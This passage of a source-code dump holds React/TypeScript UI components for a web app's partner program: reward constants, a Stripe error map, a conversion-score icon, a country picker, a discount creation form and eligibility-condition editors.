    "content": "import { CursorRays, InvoiceDollar, UserPlus } from \"@dub/ui/icons\";\n\nexport const REWARD_EVENTS = {\n  click: {\n    icon: CursorRays,\n    text: \"Click reward\",\n    event: \"click\",\n    shortcut: \"C\",\n    eventName: \"click\",\n  },\n  lead: {\n    icon: UserPlus,\n    text: \"Lead reward\",\n    event: \"lead\",\n    shortcut: \"L\",\n    eventName: \"signup\",\n  },\n  sale: {\n    icon: InvoiceDollar,\n    text: \"Sale reward\",\n    event: \"sale\",\n    shortcut: \"S\",\n    eventName: \"sale\",\n  },\n} as const;\n\nexport const STRIPE_ERROR_MAP: Record<\n  string,\n  { title: string; ctaLabel: string; ctaUrl: string }\n> = {\n  STRIPE_CONNECTION_REQUIRED: {\n    title: \"Stripe connection required\",\n    ctaLabel: \"Install Stripe app\",\n    ctaUrl: \"https://marketplace.stripe.com/apps/dub-conversions\",\n  },\n  STRIPE_APP_UPGRADE_REQUIRED: {\n    title: \"Stripe app upgrade required\",\n    ctaLabel: \"Review permissions\",\n    ctaUrl: \"https://marketplace.stripe.com/apps/dub-conversions\",\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/partners/conversion-score-icon.tsx",
    "content": "import { PartnerConversionScore } from \"@/lib/types\";\nimport { PARTNER_CONVERSION_SCORES } from \"@/lib/zod/schemas/partner-network\";\nimport { cn } from \"@dub/utils\";\nimport { SVGProps } from \"react\";\n\nexport function ConversionScoreIcon({\n  score,\n  className,\n  ...rest\n}: { score: PartnerConversionScore | null } & SVGProps<SVGSVGElement>) {\n  const scoreIndex = PARTNER_CONVERSION_SCORES.indexOf(score || \"low\");\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\n        score\n          ? {\n              low: \"text-red-600\",\n              average: \"text-orange-600\",\n              good: \"text-green-600\",\n              high: \"text-blue-600\",\n              excellent: \"text-violet-600\",\n            }[score]\n          : \"text-neutral-500\",\n        className,\n      )}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.135,7.75c-.522-3-2.885-5.363-5.885-5.885\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          opacity={scoreIndex > 0 ? 1 : 0.5}\n        />\n        <path\n          d=\"M10.25,16.135c3-.522,5.363-2.885,5.885-5.885\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          opacity={scoreIndex > 1 ? 1 : 0.5}\n        />\n        <path\n          d=\"M1.865,10.25c.522,3,2.885,5.363,5.885,5.885\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          opacity={scoreIndex > 2 ? 1 : 0.5}\n        />\n        <path\n          d=\"M7.75,1.865c-3,.522-5.363,2.885-5.885,5.885\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          opacity={scoreIndex > 3 ? 1 : 0.5}\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/country-combobox.tsx",
    "content": "import { Combobox } from \"@dub/ui\";\nimport { cn, COUNTRIES } from \"@dub/utils\";\nimport { ReactNode, useMemo } from \"react\";\n\nexport function CountryCombobox({\n  value,\n  onChange,\n  disabledTooltip,\n  error,\n  className,\n  open,\n  onOpenChange,\n}: {\n  value: string;\n  onChange: (value: string) => void;\n  disabledTooltip?: string | ReactNode;\n  error?: boolean;\n  className?: string;\n  open?: boolean;\n  onOpenChange?: (open: boolean) => void;\n}) {\n  const options = useMemo(\n    () =>\n      Object.entries(COUNTRIES)\n        // show United States first\n        .sort((a, b) => (a[0] === \"US\" ? -1 : b[0] === \"US\" ? 1 : 0))\n        .map(([key, value]) => ({\n          icon: (\n            <img\n              alt={value}\n              src={`https://hatscripts.github.io/circle-flags/flags/${key.toLowerCase()}.svg`}\n              className=\"mr-1.5 size-4\"\n            />\n          ),\n          value: key,\n          label: value,\n        })),\n    [],\n  );\n\n  return (\n    <Combobox\n      selected={options.find((o) => o.value === value) ?? null}\n      setSelected={(option) => {\n        if (!option) return;\n        onChange(option.value);\n      }}\n      options={options}\n      icon={\n        value ? (\n          <img\n            alt={COUNTRIES[value]}\n            src={`https://hatscripts.github.io/circle-flags/flags/${value.toLowerCase()}.svg`}\n            className=\"mr-0.5 size-4\"\n          />\n        ) : undefined\n      }\n      caret={true}\n      placeholder=\"Select country\"\n      searchPlaceholder=\"Search countries...\"\n      matchTriggerWidth\n      buttonProps={{\n        className: cn(\n          \"mt-1.5 w-full justify-start border-neutral-300 px-3\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n          !value && \"text-neutral-400\",\n          disabledTooltip && \"cursor-not-allowed\",\n          error && \"border-red-500 ring-red-500 ring-1\",\n          className,\n        ),\n        disabledTooltip,\n      }}\n      open={open}\n      onOpenChange={onOpenChange}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/discounts/add-edit-discount-sheet.tsx",
    "content": "\"use client\";\n\nimport { createDiscountAction } from \"@/lib/actions/partners/create-discount\";\nimport { deleteDiscountAction } from \"@/lib/actions/partners/delete-discount\";\nimport { updateDiscountAction } from \"@/lib/actions/partners/update-discount\";\nimport { constructDiscountAmount } from \"@/lib/api/sales/construct-discount-amount\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DiscountProps } from \"@/lib/types\";\nimport { createDiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { RECURRING_MAX_DURATIONS } from \"@/lib/zod/schemas/misc\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { UpgradeRequiredToast } from \"@/ui/shared/upgrade-required-toast\";\nimport { Button, InfoTooltip, Sheet, Switch } from \"@dub/ui\";\nimport { CircleCheckFill, StripeIcon, Tag } from \"@dub/ui/icons\";\nimport { capitalize, cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n  useRef,\n  useState,\n} from \"react\";\nimport { FormProvider, useForm, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { STRIPE_ERROR_MAP } from \"../constants\";\nimport { RewardDiscountPartnersCard } from \"../groups/reward-discount-partners-card\";\n\ninterface DiscountSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  discount?: DiscountProps;\n  defaultDiscountValues?: DiscountProps;\n}\n\ntype FormData = z.infer<typeof createDiscountSchema>;\n\nexport const useAddEditDiscountForm = () => useFormContext<FormData>();\n\nconst COUPON_CREATION_OPTIONS = [\n  {\n    label: \"New Stripe coupon\",\n    description: \"Create a new coupon\",\n    useExisting: false,\n  },\n  {\n    label: \"Use Stripe coupon ID\",\n    description: \"Use an existing coupon\",\n    useExisting: true,\n  },\n] as const;\n\nfunction DiscountSheetContent({\n  setIsOpen,\n  discount,\n  defaultDiscountValues,\n}: DiscountSheetProps) {\n  const formRef = useRef<HTMLFormElement>(null);\n\n  const { group, mutateGroup } = useGroup();\n  const { mutate: mutateProgram } = useProgram();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const [useExistingCoupon, setUseExistingCoupon] = useState(false);\n\n  const [useStripeTestCouponId, setUseStripeTestCouponId] = useState(\n    Boolean(discount?.couponTestId),\n  );\n\n  const defaultValuesSource = discount ||\n    defaultDiscountValues || {\n      amount: 10,\n      type: \"percentage\",\n      maxDuration: 6,\n      couponId: \"\",\n      couponTestId: \"\",\n      autoProvisionEnabledAt: null,\n    }; // default is 10% for 6 months\n\n  const form = useForm<FormData>({\n    defaultValues: {\n      amount:\n        defaultValuesSource.type === \"flat\"\n          ? defaultValuesSource.amount / 100\n          : defaultValuesSource.amount,\n      type: defaultValuesSource.type,\n      maxDuration:\n        defaultValuesSource.maxDuration === null\n          ? Infinity\n          : defaultValuesSource.maxDuration,\n      couponId: defaultValuesSource.couponId || \"\",\n      couponTestId: defaultValuesSource.couponTestId,\n      autoProvision: Boolean(defaultValuesSource.autoProvisionEnabledAt),\n    },\n  });\n\n  const { handleSubmit, watch, setValue, register } = form;\n  const [type, amount, maxDuration, autoProvision] = watch([\n    \"type\",\n    \"amount\",\n    \"maxDuration\",\n    \"autoProvision\",\n  ]);\n\n  const { executeAsync: createDiscount, isPending: isCreating } = useAction(\n    createDiscountAction,\n    {\n      onSuccess: async () => {\n        setIsOpen(false);\n        toast.success(\"Discount created!\");\n        await mutateProgram();\n        await mutateGroup();\n      },\n      onError({ error }) {\n        if (error.serverError) {\n          const code = Object.keys(STRIPE_ERROR_MAP).find((key) =>\n            error.serverError!.startsWith(key),\n          );\n\n          if (code) {\n            const { title, ctaLabel, ctaUrl } = STRIPE_ERROR_MAP[code];\n            const message = error.serverError!.replace(`${code}: `, \"\");\n\n            toast.custom(() => (\n              <UpgradeRequiredToast\n                title={title}\n                message={message}\n                ctaLabel={ctaLabel}\n                ctaUrl={ctaUrl}\n              />\n            ));\n            return;\n          }\n        }\n\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { executeAsync: updateDiscount, isPending: isUpdating } = useAction(\n    updateDiscountAction,\n    {\n      onSuccess: async () => {\n        setIsOpen(false);\n        toast.success(\"Discount updated!\");\n        await mutateProgram();\n        await mutateGroup();\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { executeAsync: deleteDiscount, isPending: isDeleting } = useAction(\n    deleteDiscountAction,\n    {\n      onSuccess: async () => {\n        setIsOpen(false);\n        toast.success(\"Discount deleted!\");\n        await mutate(`/api/programs/${defaultProgramId}`);\n        await mutateGroup();\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId || !defaultProgramId || !group) {\n      return;\n    }\n\n    if (discount) {\n      await updateDiscount({\n        workspaceId,\n        discountId: discount.id,\n        couponTestId: data.couponTestId,\n        autoProvision: data.autoProvision,\n      });\n      return;\n    }\n\n    await createDiscount({\n      ...data,\n      workspaceId,\n      groupId: group.id,\n      amount: data.type === \"flat\" ? data.amount * 100 : data.amount || 0,\n      maxDuration:\n        Number(data.maxDuration) === Infinity ? null : data.maxDuration,\n    });\n  };\n\n  const onDelete = async () => {\n    if (!workspaceId || !defaultProgramId || !discount) {\n      return;\n    }\n\n    if (!confirm(\"Are you sure you want to delete this discount?\")) {\n      return;\n    }\n\n    await deleteDiscount({\n      workspaceId,\n      discountId: discount.id,\n    });\n  };\n\n  return (\n    <FormProvider {...form}>\n      <form\n        ref={formRef}\n        onSubmit={handleSubmit(onSubmit)}\n        className=\"flex h-full flex-col\"\n      >\n        <div className=\"flex h-16 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {discount ? \"Edit\" : \"Create\"} discount\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n\n        <div className=\"flex flex-1 flex-col overflow-y-auto p-6\">\n          <DiscountSheetCard\n            title={\n              <>\n                <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n                  <Tag className=\"size-4 text-neutral-800\" />\n                </div>\n                <span className=\"leading-relaxed\">Coupon connection</span>\n              </>\n            }\n            content={\n              <div className=\"border-border-subtle -mx-px rounded-xl border-x border-t bg-neutral-100 p-2.5\">\n                <div className=\"space-y-4\">\n                  <div className=\"flex flex-col gap-2\">\n                    <label className=\"text-content-emphasis text-sm font-medium\">\n                      Payment provider\n                    </label>\n                    <div className=\"\">\n                      <select className=\"block w-full rounded-md border-neutral-300 px-3 py-2 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\">\n                        <option value=\"stripe\">Stripe</option>\n                      </select>\n                    </div>\n                  </div>\n\n                  {!discount && (\n                    <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n                      {COUPON_CREATION_OPTIONS.map(\n                        ({ label, description, useExisting }) => {\n                          const isSelected = useExistingCoupon === useExisting;\n\n                          return (\n                            <label\n                              key={label}\n                              className={cn(\n                                \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                                \"transition-all duration-150\",\n                                isSelected &&\n                                  \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                              )}\n                            >\n                              <input\n                                type=\"radio\"\n                                value={label}\n                                className=\"hidden\"\n                                checked={isSelected}\n                                onChange={(e) => {\n                                  if (e.target.checked) {\n                                    setUseExistingCoupon(useExisting);\n                                  }\n                                }}\n                              />\n                              <div className=\"flex grow flex-col text-sm\">\n                                <span className=\"font-medium\">{label}</span>\n                                <span>{description}</span>\n                              </div>\n                              <CircleCheckFill\n                                className={cn(\n                                  \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                                  isSelected && \"scale-100 opacity-100\",\n                                )}\n                              />\n                            </label>\n                          );\n                        },\n                      )}\n                    </div>\n                  )}\n\n                  {(useExistingCoupon || discount) && (\n                    <>\n                      <div>\n                        <label\n                          htmlFor=\"couponId\"\n                          className=\"flex items-center space-x-2\"\n                        >\n                          <h2 className=\"text-sm font-medium text-neutral-900\">\n                            Stripe coupon ID\n                          </h2>\n                        </label>\n                        <div className=\"mt-2\">\n                          <input\n                            type=\"text\"\n                            id=\"couponId\"\n                            className=\"border-border-subtle block w-full rounded-lg bg-white px-3 py-2 text-neutral-800 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                            {...register(\"couponId\")}\n                            placeholder=\"XZuejd0Q\"\n                            disabled={!!discount} // we don't allow updating the coupon ID for existing discounts\n                          />\n                        </div>\n                      </div>\n\n                      <div className=\"flex items-center gap-3\">\n                        <Switch\n                          fn={() => {\n                            setUseStripeTestCouponId(!useStripeTestCouponId);\n                            setValue(\"couponTestId\", \"\");\n                          }}\n                          checked={useStripeTestCouponId}\n                          trackDimensions=\"w-8 h-4\"\n                          thumbDimensions=\"w-3 h-3\"\n                          thumbTranslate=\"translate-x-4\"\n                        />\n                        <div className=\"flex items-center gap-2\">\n                          <h3 className=\"text-sm font-medium text-neutral-800\">\n                            Use Stripe test coupon ID\n                          </h3>\n\n                          <InfoTooltip content=\"Enabling this will allow you to test your coupon code before going live by entering your Stripe test coupon ID.\" />\n                        </div>\n                      </div>\n\n                      {useStripeTestCouponId && (\n                        <div>\n                          <label\n                            htmlFor=\"couponTestId\"\n                            className=\"flex items-center space-x-2\"\n                          >\n                            <h2 className=\"text-sm font-medium text-neutral-900\">\n                              Stripe test coupon ID\n                            </h2>\n                          </label>\n                          <div className=\"mt-2\">\n                            <input\n                              type=\"text\"\n                              id=\"couponTestId\"\n                              className=\"border-border-subtle block w-full rounded-lg px-3 py-2 text-neutral-800 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                              {...register(\"couponTestId\")}\n                              placeholder=\"2NMXz81x\"\n                            />\n                          </div>\n                        </div>\n                      )}\n                    </>\n                  )}\n                </div>\n              </div>\n            }\n          />\n\n          <VerticalLine />\n\n          <DiscountSheetCard\n            className={cn(\n              discount && \"pointer-events-none cursor-not-allowed select-none\",\n            )}\n            title={\n              <>\n                <StripeIcon className=\"size-7\" />\n                <span className=\"leading-relaxed\">\n                  Discount a{\" \"}\n                  <InlineBadgePopover\n                    text={capitalize(type)}\n                    disabled={!!discount}\n                  >\n                    <InlineBadgePopoverMenu\n                      selectedValue={type}\n                      onSelect={(value) =>\n                        setValue(\"type\", value as \"flat\" | \"percentage\", {\n                          shouldDirty: true,\n                        })\n                      }\n                      items={[\n                        {\n                          text: \"Flat\",\n                          value: \"flat\",\n                        },\n                        {\n                          text: \"Percentage\",\n                          value: \"percentage\",\n                        },\n                      ]}\n                    />\n                  </InlineBadgePopover>{\" \"}\n                  {type === \"percentage\" && \"of \"}\n                  <InlineBadgePopover\n                    text={\n                      amount\n                        ? constructDiscountAmount({\n                            amount: type === \"flat\" ? amount * 100 : amount,\n                            type,\n                          })\n                        : \"amount\"\n                    }\n                    invalid={!amount}\n                    disabled={!!discount}\n                  >\n                    <AmountInput disabled={!!discount} />\n                  </InlineBadgePopover>{\" \"}\n                  <InlineBadgePopover\n                    text={\n                      maxDuration === 0\n                        ? \"one time\"\n                        : maxDuration === Infinity\n                          ? \"for the customer's lifetime\"\n                          : `for ${maxDuration} ${pluralize(\"month\", Number(maxDuration))}`\n                    }\n                    disabled={!!discount}\n                  >\n                    <InlineBadgePopoverMenu\n                      selectedValue={maxDuration?.toString()}\n                      onSelect={(value) =>\n                        setValue(\"maxDuration\", Number(value), {\n                          shouldDirty: true,\n                        })\n                      }\n                      items={[\n                        {\n                          text: \"one time\",\n                          value: \"0\",\n                        },\n                        ...RECURRING_MAX_DURATIONS.filter((v) => v !== 0).map(\n                          (v) => ({\n                            text: `for ${v} ${pluralize(\"month\", Number(v))}`,\n                            value: v.toString(),\n                          }),\n                        ),\n                        {\n                          text: \"for the customer's lifetime\",\n                          value: \"Infinity\",\n                        },\n                      ]}\n                    />\n                  </InlineBadgePopover>\n                </span>\n              </>\n            }\n            content={<></>}\n          />\n\n          <VerticalLine />\n\n          <div className=\"border-border-subtle rounded-xl border bg-white p-3 text-sm shadow-sm\">\n            <div className=\"flex items-center justify-between gap-4\">\n              <div className=\"flex items-center gap-2\">\n                <h3 className=\"text-sm font-medium text-neutral-900\">\n                  Auto-provision discount codes\n                </h3>\n                <InfoTooltip content=\"When enabled, discount codes will be automatically created for all existing partners in this group + future partners when they join this group.\" />\n              </div>\n\n              <Switch\n                fn={() => setValue(\"autoProvision\", !autoProvision)}\n                checked={autoProvision}\n                trackDimensions=\"w-8 h-4\"\n                thumbDimensions=\"w-3 h-3\"\n                thumbTranslate=\"translate-x-4\"\n              />\n            </div>\n          </div>\n\n          <VerticalLine />\n\n          {group && <RewardDiscountPartnersCard groupId={group.id} />}\n        </div>\n\n        <div className=\"flex items-center justify-between border-t border-neutral-200 p-5\">\n          <div>\n            {discount && (\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                text=\"Remove discount\"\n                onClick={onDelete}\n                loading={isDeleting}\n              />\n            )}\n          </div>\n\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              onClick={() => setIsOpen(false)}\n              text=\"Cancel\"\n              className=\"w-fit\"\n              disabled={isCreating || isDeleting || isUpdating}\n            />\n\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={discount ? \"Update discount\" : \"Create discount\"}\n              className=\"w-fit\"\n              loading={isCreating || isUpdating}\n              disabled={(!discount && amount == null) || isDeleting}\n            />\n          </div>\n        </div>\n      </form>\n    </FormProvider>\n  );\n}\n\nfunction DiscountSheetCard({\n  title,\n  content,\n  className,\n}: PropsWithChildren<{\n  title: ReactNode;\n  content: ReactNode;\n  className?: string;\n}>) {\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle rounded-xl border bg-white text-sm shadow-sm\",\n        className,\n      )}\n    >\n      <div className=\"text-content-emphasis flex items-center gap-2.5 p-2.5 font-medium\">\n        {title}\n      </div>\n      {content && <>{content}</>}\n    </div>\n  );\n}\n\nconst VerticalLine = () => (\n  <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n);\n\nfunction AmountInput({ disabled }: { disabled?: boolean }) {\n  const { watch, register } = useAddEditDiscountForm();\n  const type = watch(\"type\");\n\n  return (\n    <div className=\"relative rounded-md shadow-sm\">\n      {type === \"flat\" && (\n        <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n          $\n        </span>\n      )}\n      <input\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          type === \"flat\" ? \"pl-4 pr-12\" : \"pr-7\",\n        )}\n        disabled={disabled}\n        {...register(\"amount\", {\n          required: true,\n          setValueAs: (value: string) => (value === \"\" ? undefined : +value),\n          min: 0,\n          max: type === \"percentage\" ? 100 : undefined,\n          onChange: handleMoneyInputChange,\n        })}\n        onKeyDown={handleMoneyKeyDown}\n      />\n      <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n        {type === \"flat\" ? \"USD\" : \"%\"}\n      </span>\n    </div>\n  );\n}\n\nexport function DiscountSheet({\n  isOpen,\n  nested,\n  ...rest\n}: DiscountSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen} nested={nested}>\n      <DiscountSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useDiscountSheet(\n  props: { nested?: boolean } & Omit<DiscountSheetProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    DiscountSheet: (\n      <DiscountSheet setIsOpen={setIsOpen} isOpen={isOpen} {...props} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/discounts/discount-code-badge.tsx",
    "content": "import { Tag, useCopyToClipboard } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { toast } from \"sonner\";\n\nexport function DiscountCodeBadge({ code }: { code: string }) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n  return (\n    <button\n      type=\"button\"\n      className={cn(\n        \"group/discountcode relative flex w-fit cursor-copy items-center gap-1 rounded-lg bg-green-200 px-2 py-1\",\n        \"transition-colors duration-150 hover:bg-green-300/80\",\n        copied && \"cursor-default\",\n      )}\n      onClick={() =>\n        copyToClipboard(code, {\n          onSuccess: () => {\n            toast.success(\"Copied discount code to clipboard\");\n          },\n        })\n      }\n    >\n      <Tag className=\"size-3 text-green-700\" strokeWidth={1.5} />\n      <div className=\"text-xs font-medium text-green-700 decoration-dotted underline-offset-2 transition-colors group-hover/discountcode:underline\">\n        {code}\n      </div>\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/eligibility-requirements.tsx",
    "content": "\"use client\";\n\nimport { EligibilityConditionDB } from \"@/lib/types\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { AnimatedSizeContainer } from \"@dub/ui\";\nimport { CircleCheck, Users2, Xmark } from \"@dub/ui/icons\";\nimport { COUNTRIES } from \"@dub/utils\";\n\ntype ConditionKey = EligibilityConditionDB[\"key\"];\n\ntype EligibilityOperator = EligibilityConditionDB[\"operator\"];\n\nexport type EligibilityCondition = {\n  id: string;\n  key: EligibilityConditionDB[\"key\"] | null;\n  operator: EligibilityConditionDB[\"operator\"] | null;\n  value: EligibilityConditionDB[\"value\"] | null;\n};\n\nconst CONDITION_CONFIGS: Record<\n  ConditionKey,\n  {\n    label: string;\n    operators: EligibilityOperator[];\n  }\n> = {\n  country: {\n    label: \"country\",\n    operators: [\"is\", \"is_not\"],\n  },\n  emailDomain: {\n    label: \"email domain\",\n    operators: [\"is\", \"is_not\"],\n  },\n};\n\nconst OPERATOR_LABELS: Record<EligibilityOperator, string> = {\n  is: \"is\",\n  is_not: \"is not\",\n};\n\nfunction isValueValid(value: string[] | null): boolean {\n  return Array.isArray(value) && value.length > 0 && value[0] !== \"\";\n}\n\nexport function generateId(): string {\n  return Math.random().toString(36).slice(2, 10);\n}\n\nconst COUNTRY_ITEMS = Object.entries(COUNTRIES).map(([code, name]) => ({\n  text: name,\n  value: code,\n  icon: (\n    <img\n      alt={`${code} flag`}\n      src={`https://hatscripts.github.io/circle-flags/flags/${code.toLowerCase()}.svg`}\n      className=\"size-3 shrink-0\"\n    />\n  ),\n}));\n\nfunction CountryValueInput({\n  value,\n  onChange,\n}: {\n  value: string[];\n  onChange: (v: string[]) => void;\n}) {\n  return (\n    <InlineBadgePopoverMenu\n      search\n      selectedValue={value}\n      items={COUNTRY_ITEMS}\n      onSelect={(code) =>\n        onChange(\n          value.includes(code)\n            ? value.filter((v) => v !== code)\n            : [...value, code],\n        )\n      }\n    />\n  );\n}\n\n// EmailDomainInput — commented out, preserved for future use\n// function EmailDomainInput({\n//   value,\n//   onChange,\n// }: {\n//   value: string[];\n//   onChange: (v: string[]) => void;\n// }) {\n//   const domains = value.length > 0 ? value : [\"\"];\n//   const inputRefs = useRef<(HTMLInputElement | null)[]>([]);\n//\n//   const handleChange = (index: number, newVal: string) => {\n//     const next = [...domains];\n//     next[index] = newVal;\n//     onChange(next);\n//   };\n//\n//   const handleRemove = (index: number) => {\n//     const next = domains.filter((_, i) => i !== index);\n//     onChange(next.length > 0 ? next : [\"\"]);\n//     const focusIndex = Math.max(0, index - 1);\n//     requestAnimationFrame(() => inputRefs.current[focusIndex]?.focus());\n//   };\n//\n//   const handleAdd = () => {\n//     onChange([...domains, \"\"]);\n//   };\n//\n//   const showRemove = domains.length > 1;\n//\n//   const hasInvalidEntry = domains.some(\n//     (d) => d.trim().length > 0 && !isValidDomainPattern(d),\n//   );\n//\n//   return (\n//     <div className=\"flex w-52 flex-col gap-1\">\n//       {domains.map((domain, index) => {\n//         const isInvalid =\n//           domain.trim().length > 0 && !isValidDomainPattern(domain);\n//         return (\n//           <div key={index} className=\"flex flex-col gap-0.5\">\n//             <div className=\"relative flex items-center\">\n//               <input\n//                 ref={(el) => { inputRefs.current[index] = el; }}\n//                 type=\"text\"\n//                 value={domain}\n//                 placeholder=\"@domain.com\"\n//                 autoFocus={index === domains.length - 1 && index > 0}\n//                 className={cn(\n//                   \"block h-8 w-full rounded-lg border py-1.5 text-sm text-neutral-800 placeholder-neutral-400\",\n//                   \"focus:outline-none focus:ring-1\",\n//                   isInvalid\n//                     ? \"border-red-400 focus:border-red-500 focus:ring-red-500\"\n//                     : \"border-neutral-300 focus:border-neutral-500 focus:ring-neutral-500\",\n//                   showRemove ? \"pl-2.5 pr-8\" : \"px-2.5\",\n//                 )}\n//                 onChange={(e) => handleChange(index, e.target.value)}\n//                 onKeyDown={(e) => {\n//                   if (e.key === \"Enter\") {\n//                     e.preventDefault();\n//                     if (domain.trim() && !hasInvalidEntry) handleAdd();\n//                   }\n//                   if (e.key === \"Backspace\" && !domain && showRemove) {\n//                     e.preventDefault();\n//                     handleRemove(index);\n//                   }\n//                 }}\n//               />\n//               {showRemove && (\n//                 <button\n//                   type=\"button\"\n//                   onClick={() => handleRemove(index)}\n//                   className=\"absolute right-1 flex h-6 w-6 items-center justify-center rounded-md bg-neutral-100 text-neutral-900 hover:bg-neutral-200\"\n//                   aria-label=\"Remove domain\"\n//                 >\n//                   <Xmark className=\"size-3\" />\n//                 </button>\n//               )}\n//             </div>\n//             {isInvalid && (\n//               <p className=\"text-xs text-red-500\">\n//                 Use format: @domain.com or @*.tld\n//               </p>\n//             )}\n//           </div>\n//         );\n//       })}\n//       <Button\n//         type=\"button\"\n//         variant=\"secondary\"\n//         text=\"Add domain\"\n//         className=\"h-6 text-xs font-medium text-neutral-900\"\n//         onClick={handleAdd}\n//         disabled={hasInvalidEntry}\n//       />\n//     </div>\n//   );\n// }\n\nfunction ValueBadge({\n  value,\n  onChange,\n}: {\n  conditionKey: ConditionKey;\n  value: string[] | null;\n  onChange: (v: string[]) => void;\n}) {\n  const displayText = isValueValid(value) ? value!.join(\", \") : \"value\";\n  const isInvalid = !isValueValid(value);\n\n  return (\n    <InlineBadgePopover text={displayText} invalid={isInvalid}>\n      <div className=\"p-1\">\n        <CountryValueInput value={value ?? []} onChange={onChange} />\n      </div>\n      {/* emailDomain branch commented out — preserved for future use */}\n      {/* {config.valueType === \"emailDomain\" && (\n        <div className=\"p-1\">\n          <EmailDomainInput value={value ?? []} onChange={onChange} />\n        </div>\n      )} */}\n    </InlineBadgePopover>\n  );\n}\n\nfunction ConditionRow({\n  condition,\n  onChange,\n  onRemove,\n}: {\n  condition: EligibilityCondition;\n  onChange: (updated: EligibilityCondition) => void;\n  onRemove: () => void;\n}) {\n  const keyConfig = CONDITION_CONFIGS[\"country\"];\n\n  const handleOperatorChange = (operator: EligibilityOperator) => {\n    onChange({ ...condition, operator, value: null });\n  };\n\n  const handleValueChange = (value: string[]) => {\n    onChange({ ...condition, value });\n  };\n\n  return (\n    <div className=\"flex items-start gap-2 rounded-xl border border-neutral-200 bg-white p-2.5 shadow-sm\">\n      <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md 